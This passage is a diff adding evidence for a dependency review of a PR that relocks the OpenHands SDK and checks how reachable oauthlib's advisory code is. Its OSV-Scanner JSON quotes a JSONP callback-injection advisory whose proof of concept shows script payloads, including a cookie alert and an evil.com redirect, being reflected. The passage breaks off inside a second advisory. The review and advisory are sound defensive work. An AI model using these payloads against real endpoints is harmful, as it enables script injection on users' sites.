diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/README.md b/evidence/artifacts/openhands-oauthlib-review-535-20260930/README.md new file mode 100644 index 000000000..55bdbb74a --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/README.md @@ -0,0 +1,17 @@ +# Independent OAuthlib reachability review of draft PR 535, candidate lock `8d257833a90ad409...` + +Review of draft PR #535 at the immutable head `bb3d00dc1ed493726481d0d3d746f6b0b46ed8bd` (base `f03f41c7f3601532b8635f8f112a3d2731454375`), lane `lane:shared`: the OpenHands SDK 1.50.0 wheel lock +`blueprints/runtime-workers/openhands/requirements.lock` with sha256 `8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676`, Linux x86_64, CPython 3.13.15. Claims, findings, controls and residuals: `receipt.json`. +This is a **historical scoped proof for that exact head and lock**; it approves no merge, exception, pin or promotion and is not acceptance of any later closure. + +| Files | What they are | +| --- | --- | +| `checks/pr535-identity.txt` | head, base, lock hashes, pins, the exact-lock test entry, the OSV config diff | +| `checks/install-log.txt`, `checks/independent-scan.txt` | the reproduced hashed installs (exit 0, pip check clean) and the independent metadata and raw-text OAuthlib sweep | +| `checks/advisory-files-and-helper.txt` | the four advisory-related oauthlib files against the candidate's recorded hashes; the Python 2 helper | +| `checks/osv-exit-codes-and-findings.txt`, `checks/osv-*.json`, `checks/osv-scanner-identity.txt` | OSV-Scanner 2.6.0 (the CI pin): CI form exit 0, the empty-config control exit 1 with exactly the two ids, the base lock with the same two ids | +| `checks/closure-diff-base-vs-head.txt`, `checks/pin-sources.txt` | the closure difference against the base's lock, and what constrains click, pypdf and soupsieve | +| `checks/commands-as-typed.txt` | the commands as typed, with times | +| `scripts/` | the scripts as run (`.txt` copies) | + +Host paths are masks (``, ``, ``, ``, ``); colour codes are removed; nothing else in an output is edited. diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/advisory-files-and-helper.txt b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/advisory-files-and-helper.txt new file mode 100644 index 000000000..803354cd9 --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/advisory-files-and-helper.txt @@ -0,0 +1,15 @@ +observed_utc=2026-09-30T08:54:07Z +hashes in the reproduced install versus the hashes printed in the candidate's own callers output (evidence/wheel-relock-20260930-oauthlib-callers.txt at the head): + oauthlib/oauth2/rfc6749/endpoints/revocation.py: reproduced ebc5248a9cfb50e75e04298ee4a4d1a34bf06d415df2d4c6db60a4d21165ba6c | candidate's ebc5248a9cfb50e75e04298ee4a4d1a34bf06d415df2d4c6db60a4d21165ba6c | IDENTICAL + oauthlib/oauth2/rfc6749/grant_types/authorization_code.py: reproduced 0d6931601c4e88a078fb3ccf5f052c035ad6a4bb2171efb9c218e088a7272dc6 | candidate's 0d6931601c4e88a078fb3ccf5f052c035ad6a4bb2171efb9c218e088a7272dc6 | IDENTICAL + oauthlib/oauth2/rfc6749/endpoints/pre_configured.py: reproduced 6fe072e29e94f0bb6fa65bf8a223893b2702e8d77c52494b389f75bb3ebc6316 | candidate's 6fe072e29e94f0bb6fa65bf8a223893b2702e8d77c52494b389f75bb3ebc6316 | IDENTICAL + oauthlib/openid/connect/core/endpoints/pre_configured.py: reproduced bc6ff1a5fa23c2dcc3a782125e13d93355e73abf2e4fadc406b86ebce121e7ee | candidate's bc6ff1a5fa23c2dcc3a782125e13d93355e73abf2e4fadc406b86ebce121e7ee | IDENTICAL +func_timeout/py2_raise.py: reproduced 19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77 | pinned by the candidate 19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77 +func_timeout/dafunc.py lines 20-26 (which raise helper is selected on Python 3): + + try: + from .py3_raise import raise_exception + except SyntaxError: + from .py2_raise import raise_exception + except ImportError: + from .py2_raise import raise_exception diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/closure-diff-base-vs-head.txt b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/closure-diff-base-vs-head.txt new file mode 100644 index 000000000..67f82a8ec --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/closure-diff-base-vs-head.txt @@ -0,0 +1,16 @@ +observed_utc=2026-09-30T08:54:07Z +sha256 of the two inputs: base 14e57b8d947e62ed60e7bbc69c2e6cc55638a86fa8969d528cbdf591cd42ae64 | head 8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676 +old: 335 packages, new: 176; added 0, removed 159, changed 5 +ADDED: - +REMOVED: pyobjc==11.1, pyobjc-core==11.1, pyobjc-framework-accessibility==11.1, pyobjc-framework-accounts==11.1, pyobjc-framework-addressbook==11.1, pyobjc-framework-adservices==11.1, pyobjc-framework-adsupport==11.1, pyobjc-framework-applescriptkit==11.1, pyobjc-framework-applescriptobjc==11.1, pyobjc-framework-applicationservices==11.1, pyobjc-framework-apptrackingtransparency==11.1, pyobjc-framework-audiovideobridging==11.1, pyobjc-framework-authenticationservices==11.1, pyobjc-framework-automaticassessmentconfiguration==11.1, pyobjc-framework-automator==11.1, pyobjc-framework-avfoundation==11.1, pyobjc-framework-avkit==11.1, pyobjc-framework-avrouting==11.1, pyobjc-framework-backgroundassets==11.1, pyobjc-framework-browserenginekit==11.1, pyobjc-framework-businesschat==11.1, pyobjc-framework-calendarstore==11.1, pyobjc-framework-callkit==11.1, pyobjc-framework-carbon==11.1, pyobjc-framework-cfnetwork==11.1, pyobjc-framework-cinematic==11.1, pyobjc-framework-classkit==11.1, pyobjc-framework-cloudkit==11.1, pyobjc-framework-cocoa==11.1, pyobjc-framework-collaboration==11.1, pyobjc-framework-colorsync==11.1, pyobjc-framework-contacts==11.1, pyobjc-framework-contactsui==11.1, pyobjc-framework-coreaudio==11.1, pyobjc-framework-coreaudiokit==11.1, pyobjc-framework-corebluetooth==11.1, pyobjc-framework-coredata==11.1, pyobjc-framework-corehaptics==11.1, pyobjc-framework-corelocation==11.1, pyobjc-framework-coremedia==11.1, pyobjc-framework-coremediaio==11.1, pyobjc-framework-coremidi==11.1, pyobjc-framework-coreml==11.1, pyobjc-framework-coremotion==11.1, pyobjc-framework-coreservices==11.1, pyobjc-framework-corespotlight==11.1, pyobjc-framework-coretext==11.1, pyobjc-framework-corewlan==11.1, pyobjc-framework-cryptotokenkit==11.1, pyobjc-framework-datadetection==11.1, pyobjc-framework-devicecheck==11.1, pyobjc-framework-devicediscoveryextension==11.1, pyobjc-framework-dictionaryservices==11.1, pyobjc-framework-discrecording==11.1, pyobjc-framework-discrecordingui==11.1, pyobjc-framework-diskarbitration==11.1, pyobjc-framework-dvdplayback==11.1, pyobjc-framework-eventkit==11.1, pyobjc-framework-exceptionhandling==11.1, pyobjc-framework-executionpolicy==11.1, pyobjc-framework-extensionkit==11.1, pyobjc-framework-externalaccessory==11.1, pyobjc-framework-fileprovider==11.1, pyobjc-framework-fileproviderui==11.1, pyobjc-framework-findersync==11.1, pyobjc-framework-fsevents==11.1, pyobjc-framework-fskit==11.1, pyobjc-framework-gamecenter==11.1, pyobjc-framework-gamecontroller==11.1, pyobjc-framework-gamekit==11.1, pyobjc-framework-gameplaykit==11.1, pyobjc-framework-healthkit==11.1, pyobjc-framework-imagecapturecore==11.1, pyobjc-framework-inputmethodkit==11.1, pyobjc-framework-installerplugins==11.1, pyobjc-framework-instantmessage==11.1, pyobjc-framework-intents==11.1, pyobjc-framework-intentsui==11.1, pyobjc-framework-iobluetooth==11.1, pyobjc-framework-iobluetoothui==11.1, pyobjc-framework-iosurface==11.1, pyobjc-framework-ituneslibrary==11.1, pyobjc-framework-kernelmanagement==11.1, pyobjc-framework-latentsemanticmapping==11.1, pyobjc-framework-launchservices==11.1, pyobjc-framework-libdispatch==11.1, pyobjc-framework-libxpc==11.1, pyobjc-framework-linkpresentation==11.1, pyobjc-framework-localauthentication==11.1, pyobjc-framework-localauthenticationembeddedui==11.1, pyobjc-framework-mailkit==11.1, pyobjc-framework-mapkit==11.1, pyobjc-framework-mediaaccessibility==11.1, pyobjc-framework-mediaextension==11.1, pyobjc-framework-medialibrary==11.1, pyobjc-framework-mediaplayer==11.1, pyobjc-framework-mediatoolbox==11.1, pyobjc-framework-metal==11.1, pyobjc-framework-metalfx==11.1, pyobjc-framework-metalkit==11.1, pyobjc-framework-metalperformanceshaders==11.1, pyobjc-framework-metalperformanceshadersgraph==11.1, pyobjc-framework-metrickit==11.1, pyobjc-framework-mlcompute==11.1, pyobjc-framework-modelio==11.1, pyobjc-framework-multipeerconnectivity==11.1, pyobjc-framework-naturallanguage==11.1, pyobjc-framework-netfs==11.1, pyobjc-framework-network==11.1, pyobjc-framework-networkextension==11.1, pyobjc-framework-notificationcenter==11.1, pyobjc-framework-opendirectory==11.1, pyobjc-framework-osakit==11.1, pyobjc-framework-oslog==11.1, pyobjc-framework-passkit==11.1, pyobjc-framework-pencilkit==11.1, pyobjc-framework-phase==11.1, pyobjc-framework-photos==11.1, pyobjc-framework-photosui==11.1, pyobjc-framework-preferencepanes==11.1, pyobjc-framework-pushkit==11.1, pyobjc-framework-quartz==11.1, pyobjc-framework-quicklookthumbnailing==11.1, pyobjc-framework-replaykit==11.1, pyobjc-framework-safariservices==11.1, pyobjc-framework-safetykit==11.1, pyobjc-framework-scenekit==11.1, pyobjc-framework-screencapturekit==11.1, pyobjc-framework-screensaver==11.1, pyobjc-framework-screentime==11.1, pyobjc-framework-scriptingbridge==11.1, pyobjc-framework-searchkit==11.1, pyobjc-framework-security==11.1, pyobjc-framework-securityfoundation==11.1, pyobjc-framework-securityinterface==11.1, pyobjc-framework-securityui==11.1, pyobjc-framework-sensitivecontentanalysis==11.1, pyobjc-framework-servicemanagement==11.1, pyobjc-framework-sharedwithyou==11.1, pyobjc-framework-sharedwithyoucore==11.1, pyobjc-framework-shazamkit==11.1, pyobjc-framework-social==11.1, pyobjc-framework-soundanalysis==11.1, pyobjc-framework-speech==11.1, pyobjc-framework-spritekit==11.1, pyobjc-framework-storekit==11.1, pyobjc-framework-symbols==11.1, pyobjc-framework-syncservices==11.1, pyobjc-framework-systemconfiguration==11.1, pyobjc-framework-systemextensions==11.1, pyobjc-framework-threadnetwork==11.1, pyobjc-framework-uniformtypeidentifiers==11.1, pyobjc-framework-usernotifications==11.1, pyobjc-framework-usernotificationsui==11.1, pyobjc-framework-videosubscriberaccount==11.1, pyobjc-framework-videotoolbox==11.1, pyobjc-framework-virtualization==11.1, pyobjc-framework-vision==11.1, pyobjc-framework-webkit==11.1 +CHANGED: click 8.5.0 -> 8.3.3, openhands-sdk @openhands_sdk-1.49.6-py3-none-any.whl -> @openhands_sdk-1.50.0-py3-none-any.whl, openhands-tools @openhands_tools-1.49.6-py3-none-any.whl -> @openhands_tools-1.50.0-py3-none-any.whl, pypdf 6.19.0 -> 6.16.1, soupsieve 2.9.2 -> 2.9 + oauthlib: old 3.3.1, new 3.3.1 + pyjwt: old 2.14.0, new 2.14.0 + requests-oauthlib: old 2.0.0, new 2.0.0 + google-auth-oauthlib: old 1.2.2, new 1.2.2 + authlib: old 1.6.12, new 1.6.12 + mcp: old 1.28.1, new 1.28.1 + litellm: old 1.93.0, new 1.93.0 + google-auth: old 2.53.0, new 2.53.0 + openhands-sdk: old @openhands_sdk-1.49.6-py3-none-any.whl, new @openhands_sdk-1.50.0-py3-none-any.whl + openhands-tools: old @openhands_tools-1.49.6-py3-none-any.whl, new @openhands_tools-1.50.0-py3-none-any.whl diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/commands-as-typed.txt b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/commands-as-typed.txt new file mode 100644 index 000000000..344eff9a8 --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/commands-as-typed.txt @@ -0,0 +1,16 @@ +Commands of the review as typed (transcribed from the session; the scripts named are in scripts/). Times: the reproduced install ran 2026-09-30T08:37:49Z to 08:37:50Z +(checks/install-log.txt); the first OSV scans, the closure difference and the independent sweep ran in the following minutes; run_review_outputs.sh regenerated the +identity, closure, advisory-file, pin-source and OSV outputs from the same git objects and the same scratch install at 2026-09-30T08:52:10Z to 08:52:14Z, and the +independent sweep was rerun once more with its observed time. Every output file carries its own observed time where its script prints one. + + 1. git fetch -q origin refs/pull/535/head:refs/remotes/pr/535 main (git protocol; no REST call) + 2. git rev-parse refs/remotes/pr/535; git show refs/remotes/pr/535:blueprints/runtime-workers/openhands/requirements.lock | sha256sum (identity) + 3. python3 lock_closure_diff.py + 4. install_candidate.sh: with UV_NO_CONFIG=1: uv venv --python 3.13.15 ; uv pip install --python /bin/python --require-hashes --no-deps --only-binary :all: + --index-url https://pypi.org/simple -r ; uv pip install --python /bin/python --require-hashes --no-deps --no-build-isolation + --index-url https://pypi.org/simple -r ; uv pip check --python /bin/python (the candidate's own recorded install commands) + 5. /bin/python oauthlib_independent_scan.py /lib/python3.13/site-packages + 6. scan source --config --no-resolve --lockfile=requirements.txt: --format json three times: the head's .github/osv-scanner.toml + on the candidate lock; an empty config on the candidate lock (the control); an empty config on the PR base's lock + 7. /bin/python constraint_sources.py /lib/python3.13/site-packages + 8. run_review_outputs.sh (steps 2, 3, 6, 7 and the advisory-file hash comparison, regenerated with observed times) diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/independent-scan.txt b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/independent-scan.txt new file mode 100644 index 000000000..f2fc5b9d5 --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/independent-scan.txt @@ -0,0 +1,33 @@ +observed_utc=2026-09-30T08:53:35Z +== versions: {'oauthlib': '3.3.1', 'PyJWT': '2.14.0', 'requests-oauthlib': '2.0.0', 'google-auth-oauthlib': '1.2.2', 'authlib': '1.6.12', 'openhands-sdk': '1.50.0', 'openhands-tools': '1.50.0'} +== reverse dependencies (Requires-Dist names oauthlib): + requests-oauthlib 2.0.0 <- oauthlib >=3.0.0 + requests-oauthlib 2.0.0 <- oauthlib[signedtoken] >=3.0.0 ; extra == 'rsa' +== raw-text sweep: 14616 files outside oauthlib; files mentioning 'oauthlib': 22 in 6 top-level entries + browser_use: 1 files {'.py': 1} + browser_use-0.11.9.dist-info: 1 files {'(none)': 1} + google_auth_oauthlib: 5 files {'.py': 5} + google_auth_oauthlib-1.2.2.dist-info: 4 files {'.txt': 2, '(none)': 2} + requests_oauthlib: 8 files {'.py': 8} + requests_oauthlib-2.0.0.dist-info: 3 files {'.txt': 1, '(none)': 2} +== import-shaped and dynamic lines (text files), outside requests_oauthlib's plain client imports: + browser_use/integrations/gmail/service.py:16: from google_auth_oauthlib.flow import InstalledAppFlow + [binary or other] browser_use-0.11.9.dist-info/METADATA + google_auth_oauthlib/helpers.py:29: import requests_oauthlib + google_auth_oauthlib/flow.py:24: from google_auth_oauthlib.flow import InstalledAppFlow + google_auth_oauthlib/flow.py:68: import google_auth_oauthlib.helpers + google_auth_oauthlib/flow.py:331: from google_auth_oauthlib.flow import InstalledAppFlow + google_auth_oauthlib/interactive.py:27: import google_auth_oauthlib.flow + google_auth_oauthlib/interactive.py:129: import google_auth_oauthlib + google_auth_oauthlib/tool/__main__.py:39: import google_auth_oauthlib.flow + [binary or other] google_auth_oauthlib-1.2.2.dist-info/RECORD + [binary or other] google_auth_oauthlib-1.2.2.dist-info/METADATA + [binary or other] requests_oauthlib-2.0.0.dist-info/RECORD + [binary or other] requests_oauthlib-2.0.0.dist-info/METADATA +== server-side or advisory names in files that mention oauthlib (outside oauthlib): + (0 lines) +== advisory source files: + oauthlib/oauth2/rfc6749/endpoints/revocation.py ebc5248a9cfb50e75e04298ee4a4d1a34bf06d415df2d4c6db60a4d21165ba6c + oauthlib/oauth2/rfc6749/grant_types/authorization_code.py 0d6931601c4e88a078fb3ccf5f052c035ad6a4bb2171efb9c218e088a7272dc6 + oauthlib/oauth2/rfc6749/endpoints/pre_configured.py 6fe072e29e94f0bb6fa65bf8a223893b2702e8d77c52494b389f75bb3ebc6316 + oauthlib/openid/connect/core/endpoints/pre_configured.py bc6ff1a5fa23c2dcc3a782125e13d93355e73abf2e4fadc406b86ebce121e7ee diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/install-log.txt b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/install-log.txt new file mode 100644 index 000000000..255c7b442 --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/install-log.txt @@ -0,0 +1,19 @@ +[2026-09-30T08:37:49Z] venv +Creating virtual environment at: /venv +Activate with: source /venv/bin/activate +[2026-09-30T08:37:49Z] build lock + + packaging==26.3 + + setuptools==84.0.0 + + wheel==0.46.3 +rc=0 +[2026-09-30T08:37:49Z] candidate lock + + websockets==15.0.1 + + wrapt==1.17.3 + + yarl==1.22.0 + + zipp==3.23.0 +rc=0 +[2026-09-30T08:37:49Z] pip check +Using Python 3.13.15 environment at: /venv +Checked 178 packages in 4ms +All installed packages are compatible +[2026-09-30T08:37:50Z] done diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-base-lock-empty-config.json b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-base-lock-empty-config.json new file mode 100644 index 000000000..75589a53f --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-base-lock-empty-config.json @@ -0,0 +1,234 @@ +{ + "results": [ + { + "source": { + "path": "/basescan/requirements.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "oauthlib", + "version": "3.3.1", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-hj66-6f7g-4r5v" + ], + "aliases": [ + "CVE-2026-49264", + "GHSA-hj66-6f7g-4r5v" + ], + "max_severity": "6.1" + }, + { + "ids": [ + "GHSA-xpv3-w29h-x7cv" + ], + "aliases": [ + "CVE-2026-49265", + "GHSA-xpv3-w29h-x7cv" + ], + "max_severity": "6.8" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 3.3.1", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hj66-6f7g-4r5v/GHSA-hj66-6f7g-4r5v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0.6.1" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.6.1", + "0.6.2", + "0.6.3", + "0.7.0", + "0.7.1", + "0.7.2", + "1.0.0", + "1.0.1", + "1.0.2", + "1.0.3", + "1.1.0", + "1.1.1", + "1.1.2", + "2.0.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49264" + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:53:41Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location='https://evil.com/'//\",\n \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location='https://evil.com/'//();\n [200] Content-Type: (none) Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.", + "id": "GHSA-hj66-6f7g-4r5v", + "modified": "2026-09-29T18:00:06.461704652Z", + "published": "2026-09-29T17:53:41Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/951" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xpv3-w29h-x7cv/GHSA-xpv3-w29h-x7cv.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49265" + ], + "database_specific": { + "cwe_ids": [ + "CWE-208" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:56:31Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing 